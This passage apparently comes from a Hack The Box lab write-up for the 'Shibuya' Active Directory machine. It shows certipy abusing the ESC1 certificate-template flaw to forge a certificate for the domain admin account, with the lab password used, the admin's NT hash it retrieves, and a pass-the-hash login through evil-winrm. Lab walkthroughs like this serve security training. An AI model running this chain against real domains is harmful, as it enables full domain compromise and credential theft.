Microsoft Windows [Version 10.0.20348.3453]
(c) Microsoft Corporation. All rights reserved.
shibuya\nigel.mills@AWSJPDC0522 C:\Users\nigel.mills>
I’ll make sure my /etc/proxychains4.conf
file has 1080 as the only chain:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ tail -1 /etc/proxychains4.conf
socks5 127.0.0.1 1080
I’ll use nigel.mills
to query for vulnerable certificates over proxychains
:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad find -vulnerable -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -stdout
*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via CSRA
|S-chain|-<>-127.0.0.1:1080-<><>-10.129.234.42:135-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.129.234.42:62637-<><>-OK
[!] Got error while trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via RRP
|S-chain|-<>-127.0.0.1:1080-<><>-10.129.234.42:445-<><>-OK
[*] Got CA configuration for 'shibuya-AWSJPDC0522-CA'
|S-chain|-<>-127.0.0.1:1080-<><>-10.129.234.42:80-<><>-OK
[*] Enumeration output:
Certificate Authorities
0
CA Name : shibuya-AWSJPDC0522-CA
DNS Name : AWSJPDC0522.shibuya.vl
Certificate Subject : CN=shibuya-AWSJPDC0522-CA, DC=shibuya, DC=vl
Certificate Serial Number : 2417712CBD96C58449CFDA3BE3987F52
Certificate Validity Start : 2025-02-15 07:24:14+00:00
Certificate Validity End : 2125-02-15 07:34:13+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : SHIBUYA.VL\Administrators
Access Rights
ManageCertificates : SHIBUYA.VL\Administrators
SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
ManageCa : SHIBUYA.VL\Administrators
SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
Enroll : SHIBUYA.VL\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
Certificate Templates
0
Template Name : ShibuyaWeb
Display Name : ShibuyaWeb
Certificate Authorities : shibuya-AWSJPDC0522-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : ExportableKey
Extended Key Usage : Any Purpose
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 100 years
Renewal Period : 75 years
Minimum RSA Key Length : 4096
Permissions
Enrollment Permissions
Enrollment Rights : SHIBUYA.VL\t1_admins
SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
Object Control Permissions
Owner : SHIBUYA.VL\_admin
Write Owner Principals : SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
SHIBUYA.VL\_admin
Write Dacl Principals : SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
SHIBUYA.VL\_admin
Write Property Principals : SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
SHIBUYA.VL\_admin
[!] Vulnerabilities
ESC1 : 'SHIBUYA.VL\\t1_admins' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'SHIBUYA.VL\\t1_admins' can enroll and template can be used for any purpose
ESC3 : 'SHIBUYA.VL\\t1_admins' can enroll and template has Certificate Request Agent EKU set
It is vulnerable to ESC1
, let's try to exploit step by step
Firstly request a certificate as administrator
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn administrator@shibuya.vl -target AWSJPDC0522.shibuya.vl
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.234.42:445 ... OK
[*] Request ID is 4
[-] Got error while requesting certificate: code: 0x80094811 - CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size required by the specified certificate template.
Would you like to save the private key? (y/N): y
[*] Saving private key to '4.key'
[*] Wrote private key to '4.key'
[-] Failed to request certificate
It failed because public key is not big enough, so I would change to 4096
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn administrator@shibuya.vl -target AWSJPDC0522.shibuya.vl -key-size 4096
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.234.42:445 ... OK
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@shibuya.vl'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Then try to use this certificate
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@shibuya.vl'
[*] Using principal: 'administrator@shibuya.vl'
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information
But it failed because Client not found in Kerberos database
.
Come back to Bloodhound, we found the only member of the Domain Admins group is _admin
:
So let's try to update the target user principal name
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin@shibuya.vl -target AWSJPDC0522.shibuya.vl -key-size 4096
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.234.42:445 ... OK
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with UPN '_admin@shibuya.vl'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to '_admin.pfx'
[*] Wrote certificate and private key to '_admin.pfx'
Then let's use this certificate
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad auth -pfx _admin.pfx -dc-ip 127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '_admin@shibuya.vl'
[*] Using principal: '_admin@shibuya.vl'
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK
[-] Object SID mismatch between certificate and user '_admin'
[-] See the wiki for more information
But it still not worked here.
Reading from the document, it said I need to provide the -sid
flag for the targeted user
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad req -u nigel.mills -p Sail2Boat3 -dc-ip 127.0.0.1 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin@shibuya.vl -target AWSJPDC0522.shibuya.vl -key-size 4096 -sid S-1-5-21-87560095-894484815-3652015022-500
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.; Server Do53:127.0.0.1@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.234.42:445 ... OK
[*] Request ID is 9
[*] Successfully requested certificate
[*] Got certificate with UPN '_admin@shibuya.vl'
[*] Certificate object SID is 'S-1-5-21-87560095-894484815-3652015022-500'
[*] Saving certificate and private key to '_admin.pfx'
File '_admin.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to '_admin.pfx'
Let's try to use this again
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains certipy-ad auth -pfx _admin.pfx -dc-ip 127.0.0.1
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/aarch64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: '_admin@shibuya.vl'
[*] SAN URL SID: 'S-1-5-21-87560095-894484815-3652015022-500'
[*] Security Extension SID: 'S-1-5-21-87560095-894484815-3652015022-500'
[*] Using principal: '_admin@shibuya.vl'
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK
[*] Got TGT
[*] Saving credential cache to '_admin.ccache'
[*] Wrote credential cache to '_admin.ccache'
[*] Trying to retrieve NT hash for '_admin'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:88 ... OK
[*] Got hash for '_admin@shibuya.vl': aad3b435b51404eeaad3b435b51404ee:bab5b2a004eabb11d865f31912b6b430
TCP
5985 isn’t available from my machine, but it is open on Shibuya
:
shibuya\nigel.mills@AWSJPDC0522 C:\ProgramData>netstat -ano | findstr LISTENING | findstr 5985
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP [::]:5985 [::]:0 LISTENING 4
Let's use proxychains
to evil-winrm
it
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Shibuya]
└─$ proxychains evil-winrm -i 127.0.0.1 -u _admin -H bab5b2a004eabb11d865f31912b6b430
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
shibuya\_admin
Description
This AD domain machine is incredibly useful, especially for lateral movement. Using RemotePotato0 to perform Cross Session Relay is a classic example. This type of abuse is always effective, especially when discovering other valid user sessions.
Later, during the privilege escalation phase, there were numerous unexpected errors, which added some obstacles to exploiting ECS1, but the overall strategy was very clear.